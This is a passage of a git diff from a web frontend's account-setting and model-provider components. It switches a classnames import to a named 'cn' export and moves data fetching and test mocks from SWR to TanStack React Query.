 import { Menu, MenuButton, MenuItem, MenuItems, Transition } from '@headlessui/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Props = {
   onOperate: () => void
diff --git a/web/app/components/header/account-setting/members-page/transfer-ownership-modal/member-selector.tsx b/web/app/components/header/account-setting/members-page/transfer-ownership-modal/member-selector.tsx
index 5c3e69b790..70c8e300f0 100644
--- a/web/app/components/header/account-setting/members-page/transfer-ownership-modal/member-selector.tsx
+++ b/web/app/components/header/account-setting/members-page/transfer-ownership-modal/member-selector.tsx
@@ -2,15 +2,14 @@
 import type { FC } from 'react'
 import React, { useMemo, useState } from 'react'
 import { useTranslation } from 'react-i18next'
-import useSWR from 'swr'
 import {
   RiArrowDownSLine,
 } from '@remixicon/react'
 import { PortalToFollowElem, PortalToFollowElemContent, PortalToFollowElemTrigger } from '@/app/components/base/portal-to-follow-elem'
 import Avatar from '@/app/components/base/avatar'
 import Input from '@/app/components/base/input'
-import { fetchMembers } from '@/service/common'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
+import { useMembers } from '@/service/use-common'
 
 type Props = {
   value?: any
@@ -27,13 +26,7 @@ const MemberSelector: FC<Props> = ({
   const [open, setOpen] = useState(false)
   const [searchValue, setSearchValue] = useState('')
 
-  const { data } = useSWR(
-    {
-      url: '/workspaces/current/members',
-      params: {},
-    },
-    fetchMembers,
-  )
+  const { data } = useMembers()
 
   const currentValue = useMemo(() => {
     if (!data?.accounts) return null
diff --git a/web/app/components/header/account-setting/menu-dialog.tsx b/web/app/components/header/account-setting/menu-dialog.tsx
index ad3a1e7109..abed5d2bed 100644
--- a/web/app/components/header/account-setting/menu-dialog.tsx
+++ b/web/app/components/header/account-setting/menu-dialog.tsx
@@ -1,7 +1,7 @@
 import { Fragment, useCallback, useEffect } from 'react'
 import type { ReactNode } from 'react'
 import { Dialog, DialogPanel, Transition, TransitionChild } from '@headlessui/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { noop } from 'lodash-es'
 
 type DialogProps = {
diff --git a/web/app/components/header/account-setting/model-provider-page/hooks.spec.ts b/web/app/components/header/account-setting/model-provider-page/hooks.spec.ts
index b7a56f7b60..e1f42aa56f 100644
--- a/web/app/components/header/account-setting/model-provider-page/hooks.spec.ts
+++ b/web/app/components/header/account-setting/model-provider-page/hooks.spec.ts
@@ -3,15 +3,21 @@ import { useLanguage } from './hooks'
 import { useContext } from 'use-context-selector'
 import { after } from 'node:test'
 
-jest.mock('swr', () => ({
-  __esModule: true,
-  default: jest.fn(), // mock useSWR
-  useSWRConfig: jest.fn(),
+jest.mock('@tanstack/react-query', () => ({
+  useQuery: jest.fn(),
+  useQueryClient: jest.fn(() => ({
+    invalidateQueries: jest.fn(),
+  })),
 }))
 
 // mock use-context-selector
 jest.mock('use-context-selector', () => ({
   useContext: jest.fn(),
+  createContext: () => ({
+    Provider: ({ children }: any) => children,
+    Consumer: ({ children }: any) => children(null),
+  }),
+  useContextSelector: jest.fn(),
 }))
 
 // mock service/common functions
@@ -19,10 +25,15 @@ jest.mock('@/service/common', () => ({
   fetchDefaultModal: jest.fn(),
   fetchModelList: jest.fn(),
   fetchModelProviderCredentials: jest.fn(),
-  fetchModelProviders: jest.fn(),
   getPayUrl: jest.fn(),
 }))
 
+jest.mock('@/service/use-common', () => ({
+  commonQueryKeys: {
+    modelProviders: ['common', 'model-providers'],
+  },
+}))
+
 // mock context hooks
 jest.mock('@/context/i18n', () => ({
   __esModule: true,
diff --git a/web/app/components/header/account-setting/model-provider-page/hooks.ts b/web/app/components/header/account-setting/model-provider-page/hooks.ts
index 0ffd1df9de..ff5899f01c 100644
--- a/web/app/components/header/account-setting/model-provider-page/hooks.ts
+++ b/web/app/components/header/account-setting/model-provider-page/hooks.ts
@@ -4,7 +4,7 @@ import {
   useMemo,
   useState,
 } from 'react'
-import useSWR, { useSWRConfig } from 'swr'
+import { useQuery, useQueryClient } from '@tanstack/react-query'
 import { useContext } from 'use-context-selector'
 import type {
   Credential,
@@ -27,9 +27,9 @@ import {
   fetchDefaultModal,
   fetchModelList,
   fetchModelProviderCredentials,
-  fetchModelProviders,
   getPayUrl,
 } from '@/service/common'
+import { commonQueryKeys } from '@/service/use-common'
 import { useProviderContext } from '@/context/provider-context'
 import {
   useMarketplacePlugins,
@@ -81,17 +81,23 @@ export const useProviderCredentialsAndLoadBalancing = (
   currentCustomConfigurationModelFixedFields?: CustomConfigurationModelFixedFields,
   credentialId?: string,
 ) => {
-  const { data: predefinedFormSchemasValue, mutate: mutatePredefined, isLoading: isPredefinedLoading } = useSWR(
-    (configurationMethod === ConfigurationMethodEnum.predefinedModel && configured && credentialId)
-      ? `/workspaces/current/model-providers/${provider}/credentials${credentialId ? `?credential_id=${credentialId}` : ''}`
-      : null,
-    fetchModelProviderCredentials,
+  const queryClient = useQueryClient()
+  const predefinedEnabled = configurationMethod === ConfigurationMethodEnum.predefinedModel && configured && !!credentialId
+  const customEnabled = configurationMethod === ConfigurationMethodEnum.customizableModel && !!currentCustomConfigurationModelFixedFields && !!credentialId
+
+  const { data: predefinedFormSchemasValue, isPending: isPredefinedLoading } = useQuery(
+    {
+      queryKey: ['model-providers', 'credentials', provider, credentialId],
+      queryFn: () => fetchModelProviderCredentials(`/workspaces/current/model-providers/${provider}/credentials${credentialId ? `?credential_id=${credentialId}` : ''}`),
+      enabled: predefinedEnabled,
+    },
   )
-  const { data: customFormSchemasValue, mutate: mutateCustomized, isLoading: isCustomizedLoading } = useSWR(
-    (configurationMethod === ConfigurationMethodEnum.customizableModel && currentCustomConfigurationModelFixedFields && credentialId)
-      ? `/workspaces/current/model-providers/${provider}/models/credentials?model=${currentCustomConfigurationModelFixedFields?.__model_name}&model_type=${currentCustomConfigurationModelFixedFields?.__model_type}${credentialId ? `&credential_id=${credentialId}` : ''}`
-      : null,
-    fetchModelProviderCredentials,
+  const { data: customFormSchemasValue, isPending: isCustomizedLoading } = useQuery(
+    {
+      queryKey: ['model-providers', 'models', 'credentials', provider, currentCustomConfigurationModelFixedFields?.__model_type, currentCustomConfigurationModelFixedFields?.__model_name, credentialId],
+      queryFn: () => fetchModelProviderCredentials(`/workspaces/current/model-providers/${provider}/models/credentials?model=${currentCustomConfigurationModelFixedFields?.__model_name}&model_type=${currentCustomConfigurationModelFixedFields?.__model_type}${credentialId ? `&credential_id=${credentialId}` : ''}`),
+      enabled: customEnabled,
+    },
   )
 
   const credentials = useMemo(() => {
@@ -112,9 +118,11 @@ export const useProviderCredentialsAndLoadBalancing = (
   ])
 
   const mutate = useMemo(() => () => {
-    mutatePredefined()
-    mutateCustomized()
-  }, [mutateCustomized, mutatePredefined])
+    if (predefinedEnabled)
+      queryClient.invalidateQueries({ queryKey: ['model-providers', 'credentials', provider, credentialId] })
+    if (customEnabled)
+      queryClient.invalidateQueries({ queryKey: ['model-providers', 'models', 'credentials', provider, currentCustomConfigurationModelFixedFields?.__model_type, currentCustomConfigurationModelFixedFields?.__model_name, credentialId] })
+  }, [customEnabled, credentialId, currentCustomConfigurationModelFixedFields?.__model_name, currentCustomConfigurationModelFixedFields?.__model_type, predefinedEnabled, provider, queryClient])
 
   return {
     credentials,
@@ -129,22 +137,28 @@ export const useProviderCredentialsAndLoadBalancing = (
 }
 
 export const useModelList = (type: ModelTypeEnum) => {
-  const { data, mutate, isLoading } = useSWR(`/workspaces/current/models/model-types/${type}`, fetchModelList)
+  const { data, refetch, isPending } = useQuery({
+    queryKey: commonQueryKeys.modelList(type),
+    queryFn: () => fetchModelList(`/workspaces/current/models/model-types/${type}`),
+  })
 
   return {
     data: data?.data || [],
-    mutate,
-    isLoading,
+    mutate: refetch,
+    isLoading: isPending,
   }
 }
 
 export const useDefaultModel = (type: ModelTypeEnum) => {
-  const { data, mutate, isLoading } = useSWR(`/workspaces/current/default-model?model_type=${type}`, fetchDefaultModal)
+  const { data, refetch, isPending } = useQuery({
+    queryKey: commonQueryKeys.defaultModel(type),
+    queryFn: () => fetchDefaultModal(`/workspaces/current/default-model?model_type=${type}`),
+  })
 
   return {
     data: data?.data,
-    mutate,
-    isLoading,
+    mutate: refetch,
+    isLoading: isPending,
   }
 }
 
@@ -200,11 +214,11 @@ export const useModelListAndDefaultModelAndCurrentProviderAndModel = (type: Mode
 }
 
 export const useUpdateModelList = () => {
-  const { mutate } = useSWRConfig()
+  const queryClient = useQueryClient()
 
   const updateModelList = useCallback((type: ModelTypeEnum) => {
-    mutate(`/workspaces/current/models/model-types/${type}`)
-  }, [mutate])
+    queryClient.invalidateQueries({ queryKey: commonQueryKeys.modelList(type) })
+  }, [queryClient])
 
   return updateModelList
 }
@@ -230,22 +244,12 @@ export const useAnthropicBuyQuota = () => {
   return handleGetPayUrl
 }
 
-export const useModelProviders = () => {
-  const { data: providersData, mutate, isLoading } = useSWR('/workspaces/current/model-providers', fetchModelProviders)
-
-  return {
-    data: providersData?.data || [],
-    mutate,
-    isLoading,
-  }
-}
-
 export const useUpdateModelProviders = () => {
-  const { mutate } = useSWRConfig()
+  const queryClient = useQueryClient()
 
   const updateModelProviders = useCallback(() => {
-    mutate('/workspaces/current/model-providers')
-  }, [mutate])
+    queryClient.invalidateQueries({ queryKey: commonQueryKeys.modelProviders })
+  }, [queryClient])
 
   return updateModelProviders
 }
diff --git a/web/app/components/header/account-setting/model-provider-page/index.tsx b/web/app/components/header/account-setting/model-provider-page/index.tsx
index 239c462ffe..7467b1bb66 100644
--- a/web/app/components/header/account-setting/model-provider-page/index.tsx
+++ b/web/app/components/header/account-setting/model-provider-page/index.tsx
@@ -19,7 +19,7 @@ import {
 } from './hooks'
 import InstallFromMarketplace from './install-from-marketplace'
 import { useProviderContext } from '@/context/provider-context'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useGlobalPublicStore } from '@/context/global-public-context'
 
 type Props = {
diff --git a/web/app/components/header/account-setting/model-provider-page/install-from-marketplace.tsx b/web/app/components/header/account-setting/model-provider-page/install-from-marketplace.tsx
index 7e9cad23eb..cb8f1464bb 100644
--- a/web/app/components/header/account-setting/model-provider-page/install-from-marketplace.tsx
+++ b/web/app/components/header/account-setting/model-provider-page/install-from-marketplace.tsx
@@ -17,7 +17,7 @@ import Loading from '@/app/components/base/loading'
 import ProviderCard from '@/app/components/plugins/provider-card'
 import List from '@/app/components/plugins/marketplace/list'
 import type { Plugin } from '@/app/components/plugins/types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { getLocaleOnClient } from '@/i18n-config'
 import { getMarketplaceUrl } from '@/utils/var'
 
diff --git a/web/app/components/header/account-setting/model-provider-page/model-auth/add-credential-in-load-balancing.tsx b/web/app/components/header/account-setting/model-provider-page/model-auth/add-credential-in-load-balancing.tsx
index 30d56bced7..b4c2628416 100644
--- a/web/app/components/header/account-setting/model-provider-page/model-auth/add-credential-in-load-balancing.tsx
+++ b/web/app/components/header/account-setting/model-provider-page/model-auth/add-credential-in-load-balancing.tsx
@@ -5,7 +5,7 @@ import {
 import { RiAddLine } from '@remixicon/react'
 import { useTranslation } from 'react-i18next'
 import { Authorized } from '@/app/components/header/account-setting/model-provider-page/model-auth'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type {
   Credential,
   CustomConfigurationModelFixedFields,
diff --git a/web/app/components/header/account-setting/model-provider-page/model-auth/add-custom-model.tsx b/web/app/components/header/account-setting/model-provider-page/model-auth/add-custom-model.tsx
index dd9284398c..def83f7238 100644
--- a/web/app/components/header/account-setting/model-provider-page/model-auth/add-custom-model.tsx
+++ b/web/app/components/header/account-setting/model-provider-page/model-auth/add-custom-model.tsx
@@ -17,7 +17,7 @@ import type {
   ModelProvider,
 } from '@/app/components/header/account-setting/model-provider-page/declarations'
 import { ModelModalModeEnum } from '@/app/components/header/account-setting/model-provider-page/declarations'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import {
   PortalToFollowElem,
   PortalToFollowElemContent,
diff --git a/web/app/components/header/account-setting/model-provider-page/model-auth/authorized/credential-item.tsx b/web/app/components/header/account-setting/model-provider-page/model-auth/authorized/credential-item.tsx
index 0aa4ac6fbc..ceb67a057e 100644
--- a/web/app/components/header/account-setting/model-provider-page/model-auth/authorized/credential-item.tsx
+++ b/web/app/components/header/account-setting/model-provider-page/model-auth/authorized/credential-item.tsx
@@ -11,7 +11,7 @@ import {
 import Indicator from '@/app/components/header/indicator'
 import ActionButton from '@/app/components/base/action-button'
 import Tooltip from '@/app/components/base/tooltip'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { Credential } from '../../declarations'
 import Badge from '@/app/components/base/badge'
 
diff --git a/web/app/components/header/account-setting/model-provider-page/model-auth/authorized/index.tsx b/web/app/components/header/account-setting/model-provider-page/model-auth/authorized/index.tsx
index 6504fbc37e..572d5b8a40 100644
--- a/web/app/components/header/account-setting/model-provider-page/model-auth/authorized/index.tsx
+++ b/web/app/components/header/account-setting/model-provider-page/model-auth/authorized/index.tsx
@@ -17,7 +17,7 @@ import type {
   PortalToFollowElemOptions,
 } from '@/app/components/base/portal-to-follow-elem'
 import Button from '@/app/components/base/button'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Confirm from '@/app/components/base/confirm'
 import type {
   ConfigurationMethodEnum,
diff --git a/web/app/components/header/account-setting/model-provider-page/model-auth/config-model.tsx b/web/app/components/header/account-setting/model-provider-page/model-auth/config-model.tsx
index 301e5e70e4..22ba289078 100644
--- a/web/app/components/header/account-setting/model-provider-page/model-auth/config-model.tsx
+++ b/web/app/components/header/account-setting/model-provider-page/model-auth/config-model.tsx
@@ -6,7 +6,7 @@ import {
 import { useTranslation } from 'react-i18next'
 import Button from '@/app/components/base/button'
 import Indicator from '@/app/components/header/indicator'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type ConfigModelProps = {
   onClick?: () => void
diff --git a/web/app/components/header/account-setting/model-provider-page/model-auth/manage-custom-model-credentials.tsx b/web/app/components/header/account-setting/model-provider-page/model-auth/manage-custom-model-credentials.tsx
index 3a9d10ea46..3ccb42faf4 100644
--- a/web/app/components/header/account-setting/model-provider-page/model-auth/manage-custom-model-credentials.tsx
+++ b/web/app/components/header/account-setting/model-provider-page/model-auth/manage-custom-model-credentials.tsx
@@ -18,7 +18,7 @@ import Authorized from './authorized'
 import {
   useCustomModels,
 } from './hooks'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type ManageCustomModelCredentialsProps = {
   provider: ModelProvider,
diff --git a/web/app/components/header/account-setting/model-provider-page/model-auth/switch-credential-in-load-balancing.tsx b/web/app/components/header/account-setting/model-provider-page/model-auth/switch-credential-in-load-balancing.tsx
index 5d2da57adb..9a0f2c1702 100644
--- a/web/app/components/header/account-setting/model-provider-page/model-auth/switch-credential-in-load-balancing.tsx
+++ b/web/app/components/header/account-setting/model-provider-page/model-auth/switch-credential-in-load-balancing.tsx
@@ -14,7 +14,7 @@ import type {
   ModelProvider,
 } from '../declarations'
 import { ConfigurationMethodEnum, ModelModalModeEnum } from '@/app/components/header/account-setting/model-provider-page/declarations'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Tooltip from '@/app/components/base/tooltip'
 import Badge from '@/app/components/base/badge'
 
diff --git a/web/app/components/header/account-setting/model-provider-page/model-badge/index.tsx b/web/app/components/header/account-setting/model-provider-page/model-badge/index.tsx
index 5c9c4d9e75..53b135ab1e 100644
--- a/web/app/components/header/account-setting/model-provider-page/model-badge/index.tsx
+++ b/web/app/components/header/account-setting/model-provider-page/model-badge/index.tsx
@@ -1,5 +1,5 @@
 import type { FC, ReactNode } from 'react'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type ModelBadgeProps = {
   className?: string
@@ -10,10 +10,8 @@ const ModelBadge: FC<ModelBadgeProps> = ({
   children,
 }) => {
   return (
-    <div className={classNames(
-      'system-2xs-medium-uppercase flex h-[18px] cursor-default items-center rounded-[5px] border border-divider-deep px-1 text-text-tertiary',
-      className,
-    )}>
+    <div className={cn('system-2xs-medium-uppercase flex h-[18px] cursor-default items-center rounded-[5px] border border-divider-deep px-1 text-text-tertiary',
+      className)}>
       {children}
     </div>
   )
diff --git a/web/app/components/header/account-setting/model-provider-page/model-icon/index.tsx b/web/app/components/header/account-setting/model-provider-page/model-icon/index.tsx
index af9cac7fb8..2f3f11d7e8 100644
--- a/web/app/components/header/account-setting/model-provider-page/model-icon/index.tsx
+++ b/web/app/components/header/account-setting/model-provider-page/model-icon/index.tsx
@@ -8,7 +8,7 @@ import { Group } from '@/app/components/base/icons/src/vender/other'
 import { OpenaiBlue, OpenaiTeal, OpenaiViolet, OpenaiYellow } from '@/app/components/base/icons/src/public/llm'
 import { renderI18nObject } from '@/i18n-config'
 import { Theme } from '@/types/app'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import useTheme from '@/hooks/use-theme'
 
 type ModelIconProps = {
diff --git a/web/app/components/header/account-setting/model-provider-page/model-modal/Form.tsx b/web/app/components/header/account-setting/model-provider-page/model-modal/Form.tsx
index 3c51762c52..7ce27397a9 100644
--- a/web/app/components/header/account-setting/model-provider-page/model-modal/Form.tsx
+++ b/web/app/components/header/account-setting/model-provider-page/model-modal/Form.tsx
@@ -13,7 +13,7 @@ import type {
 import { FormTypeEnum } from '../declarations'
 import { useLanguage } from '../hooks'
 import Input from './Input'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { SimpleSelect } from '@/app/components/base/select'
 import Tooltip from '@/app/components/base/tooltip'
 import Radio from '@/app/components/base/radio'
diff --git a/web/app/components/header/account-setting/model-provider-page/model-name/index.tsx b/web/app/components/header/account-setting/model-provider-page/model-name/index.tsx
index 4305eca192..1ea198a04a 100644
--- a/web/app/components/header/account-setting/model-provider-page/model-name/index.tsx
+++ b/web/app/components/header/account-setting/model-provider-page/model-name/index.tsx
@@ -7,7 +7,7 @@ import { useLanguage } from '../hooks'
 import type { ModelItem } from '../declarations'
 import ModelBadge from '../model-badge'
 import FeatureIcon from '../model-selector/feature-icon'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type ModelNameProps = PropsWithChildren<{
   modelItem: ModelItem
diff --git a/web/app/components/header/account-setting/model-provider-page/model-parameter-modal/agent-model-trigger.tsx b/web/app/components/header/account-setting/model-provider-page/model-parameter-modal/agent-model-trigger.tsx
index f9ab2e3b50..85bf772305 100644
--- a/web/app/components/header/account-setting/model-provider-page/model-parameter-modal/agent-model-trigger.tsx
+++ b/web/app/components/header/account-setting/model-provider-page/model-parameter-modal/agent-model-trigger.tsx
@@ -21,7 +21,7 @@ import ModelIcon from '../model-icon'
 import ModelDisplay from './model-display'
 import { InstallPluginButton } from '@/app/components/workflow/nodes/_base/components/install-plugin-button'
 import StatusIndicators from './status-indicators'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useProviderContext } from '@/context/provider-context'
 import { RiEqualizer2Line } from '@remixicon/react'
 import { useModelInList, usePluginInfo } from '@/service/use-plugins'
diff --git a/web/app/components/header/account-setting/model-provider-page/model-parameter-modal/index.tsx b/web/app/components/header/account-setting/model-provider-page/model-parameter-modal/index.tsx
index e56def4113..e7323c86e6 100644
--- a/web/app/components/header/account-setting/model-provider-page/model-parameter-modal/index.tsx
+++ b/web/app/components/header/account-setting/model-provider-page/model-parameter-modal/index.tsx
@@ -3,7 +3,6 @@ import type {
   ReactNode,
 } from 'react'
 import { useMemo, useState } from 'react'
-import useSWR from 'swr'
 import { useTranslation } from 'react-i18next'
 import type {
   DefaultModel,
@@ -20,17 +19,17 @@ import type { ParameterValue } from './parameter-item'
 import Trigger from './trigger'
 import type { TriggerProps } from './trigger'
 import PresetsParameter from './presets-parameter'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import {
   PortalToFollowElem,
   PortalToFollowElemContent,
   PortalToFollowElemTrigger,
 } from '@/app/components/base/portal-to-follow-elem'
-import { fetchModelParameterRules } from '@/service/common'
 import Loading from '@/app/components/base/loading'
 import { useProviderContext } from '@/context/provider-context'
 import { PROVIDER_WITH_PRESET_TONE, STOP_PARAMETER_RULE, TONE_LIST } from '@/config'
 import { ArrowNarrowLeft } from '@/app/components/base/icons/src/vender/line/arrows'
+import { useModelParameterRules } from '@/service/use-common'
 
 export type ModelParameterModalProps = {
   popupClassName?: string
@@ -69,7 +68,7 @@ const ModelParameterModal: FC<ModelParameterModalProps> = ({
   const { t } = useTranslation()
   const { isAPIKeySet } = useProviderContext()
   const [open, setOpen] = useState(false)
-  const { data: parameterRulesData, isLoading } = useSWR((provider && modelId) ? `/workspaces/current/model-providers/${provider}/models/parameter-rules?model=${modelId}` : null, fetchModelParameterRules)
+  const { data: parameterRulesData, isPending: isLoading } = useModelParameterRules(provider, modelId)
   const {
     currentProvider,
     currentModel,
diff --git a/web/app/components/header/account-setting/model-provider-page/model-parameter-modal/parameter-item.tsx b/web/app/components/header/account-setting/model-provider-page/model-parameter-modal/parameter-item.tsx
index 3c80fcfc0e..650496629b 100644
--- a/web/app/components/header/account-setting/model-provider-page/model-parameter-modal/parameter-item.tsx
+++ b/web/app/components/header/account-setting/model-provider-page/model-parameter-modal/parameter-item.tsx
@@ -3,7 +3,7 @@ import { useEffect, useRef, useState } from 'react'
 import type { ModelParameterRule } from '../declarations'
 import { useLanguage } from '../hooks'
 import { isNullOrUndefined } from '../utils'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Switch from '@/app/components/base/switch'
 import Tooltip from '@/app/components/base/tooltip'
 import Slider from '@/app/components/base/slider'
diff --git a/web/app/components/header/account-setting/model-provider-page/model-parameter-modal/presets-parameter.tsx b/web/app/components/header/account-setting/model-provider-page/model-parameter-modal/presets-parameter.tsx
index 20a9bdcc17..02f001ef0c 100644
--- a/web/app/components/header/account-setting/model-provider-page/model-parameter-modal/presets-parameter.tsx
+++ b/web/app/components/header/account-setting/model-provider-page/model-parameter-modal/presets-parameter.tsx
@@ -8,7 +8,7 @@ import { Brush01 } from '@/app/components/base/icons/src/vender/solid/editor'
 import { Scales02 } from '@/app/components/base/icons/src/vender/solid/FinanceAndECommerce'
 import { Target04 } from '@/app/components/base/icons/src/vender/solid/general'
 import { TONE_LIST } from '@/config'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type PresetsParameterProps = {
   onSelect: (toneId: number) => void
diff --git a/web/app/components/header/account-setting/model-provider-page/model-parameter-modal/trigger.tsx b/web/app/components/header/account-setting/model-provider-page/model-parameter-modal/trigger.tsx
index 7c96c9a0af..ab16aed48f 100644
--- a/web/app/components/header/account-setting/model-provider-page/model-parameter-modal/trigger.tsx
+++ b/web/app/components/header/account-setting/model-provider-page/model-parameter-modal/trigger.tsx
@@ -10,7 +10,7 @@ import { MODEL_STATUS_TEXT } from '../declarations'
 import { useLanguage } from '../hooks'
 import ModelIcon from '../model-icon'
 import ModelName from '../model-name'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useProviderContext } from '@/context/provider-context'
 import { SlidersH } from '@/app/components/base/icons/src/vender/line/mediaAndDevices'
 import { AlertTriangle } from '@/app/components/base/icons/src/vender/line/alertsAndFeedback'
diff --git a/web/app/components/header/account-setting/model-provider-page/model-selector/deprecated-model-trigger.tsx b/web/app/components/header/account-setting/model-provider-page/model-selector/deprecated-model-trigger.tsx
index 0b0163532a..d27a616319 100644
--- a/web/app/components/header/account-setting/model-provider-page/model-selector/deprecated-model-trigger.tsx
+++ b/web/app/components/header/account-setting/model-provider-page/model-selector/deprecated-model-trigger.tsx
@@ -4,7 +4,7 @@ import ModelIcon from '../model-icon'
 import { AlertTriangle } from '@/app/components/base/icons/src/vender/line/alertsAndFeedback'
 import { useProviderContext } from '@/context/provider-context'
 import Tooltip from '@/app/components/base/tooltip'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type ModelTriggerProps = {
   modelName: string
diff --git a/web/app/components/header/account-setting/model-provider-page/model-selector/empty-trigger.tsx b/web/app/components/header/account-setting/model-provider-page/model-selector/empty-trigger.tsx
index 613b1c0718..95a2f060d0 100644
--- a/web/app/components/header/account-setting/model-provider-page/model-selector/empty-trigger.tsx
+++ b/web/app/components/header/account-setting/model-provider-page/model-selector/empty-trigger.tsx
@@ -1,7 +1,7 @@
 import type { FC } from 'react'
 import { RiEqualizer2Line } from '@remixicon/react'
 import { CubeOutline } from '@/app/components/base/icons/src/vender/line/shapes'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useTranslation } from 'react-i18next'
 type ModelTriggerProps = {
   open: boolean
diff --git a/web/app/components/header/account-setting/model-provider-page/model-selector/feature-icon.tsx b/web/app/components/header/account-setting/model-provider-page/model-selector/feature-icon.tsx
index c1d497e58e..97d2253f55 100644
--- a/web/app/components/header/account-setting/model-provider-page/model-selector/feature-icon.tsx
+++ b/web/app/components/header/account-setting/model-provider-page/model-selector/feature-icon.tsx
@@ -12,7 +12,7 @@ import {
   RiImageCircleAiLine,
   RiVoiceAiFill,
 } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type FeatureIconProps = {
   feature: ModelFeatureEnum
diff --git a/web/app/components/header/account-setting/model-provider-page/model-selector/index.tsx b/web/app/components/header/account-setting/model-provider-page/model-selector/index.tsx
index 58e96fde69..a1872aac9b 100644
--- a/web/app/components/header/account-setting/model-provider-page/model-selector/index.tsx
+++ b/web/app/components/header/account-setting/model-provider-page/model-selector/index.tsx
@@ -16,7 +16,7 @@ import {
   PortalToFollowElemContent,
   PortalToFollowElemTrigger,
 } from '@/app/components/base/portal-to-follow-elem'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type ModelSelectorProps = {
   defaultModel?: DefaultModel
@@ -70,7 +70,7 @@ const ModelSelector: FC<ModelSelectorProps> = ({
       placement='bottom-start'
       offset={4}
     >
-      <div className={classNames('relative')}>
+      <div className={cn('relative')}>
         <PortalToFollowElemTrigger
           onClick={handleToggle}
           className='block'
diff --git a/web/app/components/header/account-setting/model-provider-page/model-selector/model-trigger.tsx b/web/app/components/header/account-setting/model-provider-page/model-selector/model-trigger.tsx
index 079bad7e27..a7f37805a8 100644
--- a/web/app/components/header/account-setting/model-provider-page/model-selector/model-trigger.tsx
+++ b/web/app/components/header/account-setting/model-provider-page/model-selector/model-trigger.tsx
@@ -13,7 +13,7 @@ import ModelIcon from '../model-icon'
 import ModelName from '../model-name'
 import { AlertTriangle } from '@/app/components/base/icons/src/vender/line/alertsAndFeedback'
 import Tooltip from '@/app/components/base/tooltip'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type ModelTriggerProps = {
   open: boolean
diff --git a/web/app/components/header/account-setting/model-provider-page/model-selector/popup-item.tsx b/web/app/components/header/account-setting/model-provider-page/model-selector/popup-item.tsx
index 3e68f6b509..b5c4b72395 100644
--- a/web/app/components/header/account-setting/model-provider-page/model-selector/popup-item.tsx
+++ b/web/app/components/header/account-setting/model-provider-page/model-selector/popup-item.tsx
@@ -30,7 +30,7 @@ import { Check } from '@/app/components/base/icons/src/vender/line/general'
 import { useModalContext } from '@/context/modal-context'
 import { useProviderContext } from '@/context/provider-context'
 import Tooltip from '@/app/components/base/tooltip'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import FeatureIcon from './feature-icon'
 
 type PopupItemProps = {
diff --git a/web/app/components/header/account-setting/model-provider-page/provider-added-card/add-model-button.tsx b/web/app/components/header/account-setting/model-provider-page/provider-added-card/add-model-button.tsx
index fc9960f485..f8dcf61686 100644
--- a/web/app/components/header/account-setting/model-provider-page/provider-added-card/add-model-button.tsx
+++ b/web/app/components/header/account-setting/model-provider-page/provider-added-card/add-model-button.tsx
@@ -1,7 +1,7 @@
 import type { FC } from 'react'
 import { useTranslation } from 'react-i18next'
 import { PlusCircle } from '@/app/components/base/icons/src/vender/solid/general'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type AddModelButtonProps = {
   className?: string
diff --git a/web/app/components/header/account-setting/model-provider-page/provider-added-card/credential-panel.tsx b/web/app/components/header/account-setting/model-provider-page/provider-added-card/credential-panel.tsx
index fda6abb2fc..a980a996db 100644
--- a/web/app/components/header/account-setting/model-provider-page/provider-added-card/credential-panel.tsx
+++ b/web/app/components/header/account-setting/model-provider-page/provider-added-card/credential-panel.tsx
@@ -19,7 +19,7 @@ import Indicator from '@/app/components/header/indicator'
 import { changeModelProviderPriority } from '@/service/common'
 import { useToastContext } from '@/app/components/base/toast'
 import { useEventEmitterContextContext } from '@/context/event-emitter'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useCredentialStatus } from '@/app/components/header/account-setting/model-provider-page/model-auth/hooks'
 import { ConfigProvider } from '@/app/components/header/account-setting/model-provider-page/model-auth'
 
diff --git a/web/app/components/header/account-setting/model-provider-page/provider-added-card/index.tsx b/web/app/components/header/account-setting/model-provider-page/provider-added-card/index.tsx
index d3601d04f9..543273591c 100644
--- a/web/app/components/header/account-setting/model-provider-page/provider-added-card/index.tsx
+++ b/web/app/components/header/account-setting/model-provider-page/provider-added-card/index.tsx
@@ -24,7 +24,7 @@ import { fetchModelProviderModelList } from '@/service/common'
 import { useEventEmitterContextContext } from '@/context/event-emitter'
 import { IS_CE_EDITION } from '@/config'
 import { useAppContext } from '@/context/app-context'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import {
   AddCustomModel,
   ManageCustomModelCredentials,
